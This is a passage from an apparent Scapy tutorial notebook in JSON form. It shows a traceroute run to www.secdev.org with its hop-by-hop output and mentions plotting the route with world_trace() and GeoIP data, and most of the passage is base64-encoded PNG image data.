zcZiMTHVQpxJ88l8vXsAAOhh9bUOYsAVLcbTxGca8ez3rXU1MTZTxAeMMdM0aeoVY4xz\nTgUQNMYiHA7HYrF4PE6zNCktQcHc+Pj4zMwMpmgCAIA/GpRJUhEf53xjY4OOxONxf++qJySTSZpi\nJY4YhiGKJSVJUlVV13WK3iiAENOwKJhDZSUAAPhvR+jAOdc0TZblcDiMSVdeE4mHvU6wbZtyDA1p\nmoZMAwAA+G9HrYOu65IkiXUK8FpdxQOVlVCJCa1ciMqGOvF4XNd1USCJ5SQAAPDNjtCBaiFVVVVV\nVRQ9gHco8fD69Wv6UlXVdDpNJQ5UJilWKOrQSgedqSiKrus+3jUAAPS0BkO3LctSFKUtdwPk4L8C\nCvW8vh8AAADh/wPBTUq80b15+QAAAABJRU5ErkJggg==\n", "text/plain": [ "" ] }, "execution_count": 15, "metadata": {}, "output_type": "execute_result" } ], "source": [ "pkt.canvas_dump()" ] }, { "cell_type": "markdown", "metadata": {}, "source": [ "Scapy has a `traceroute()` function, which basically runs a `sr(IP(ttl=(1..30))` and creates a `TracerouteResult` object, which is a specific subclass of `SndRcvList()`." ] }, { "cell_type": "code", "execution_count": 22, "metadata": { "scrolled": true }, "outputs": [ { "name": "stdout", "output_type": "stream", "text": [ "Begin emission:\n", "Finished to send 15 packets.\n", "\n", "Received 17 packets, got 15 answers, remaining 0 packets\n", " 217.25.178.5:tcp80 \n", "1 192.168.46.254 11 \n", "2 172.28.0.1 11 \n", "3 80.10.115.251 11 \n", "4 10.123.205.82 11 \n", "5 193.252.98.161 11 \n", "6 193.252.137.74 11 \n", "7 193.251.132.183 11 \n", "8 130.117.49.41 11 \n", "9 154.25.7.150 11 \n", "10 154.25.7.150 11 \n", "11 149.6.166.166 11 \n", "12 149.6.166.166 11 \n", "13 217.25.178.5 SA \n", "14 217.25.178.5 SA \n", "15 217.25.178.5 SA \n" ] } ], "source": [ "ans, unans = traceroute('www.secdev.org', maxttl=15)" ] }, { "cell_type": "markdown", "metadata": {}, "source": [ "The result can be plotted with `.world_trace()` (this requires GeoIP module and data, from [MaxMind](https://www.maxmind.com/))" ] }, { "cell_type": "code", "execution_count": 23, "metadata": {}, "outputs": [ { "data": { "image/png": "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\n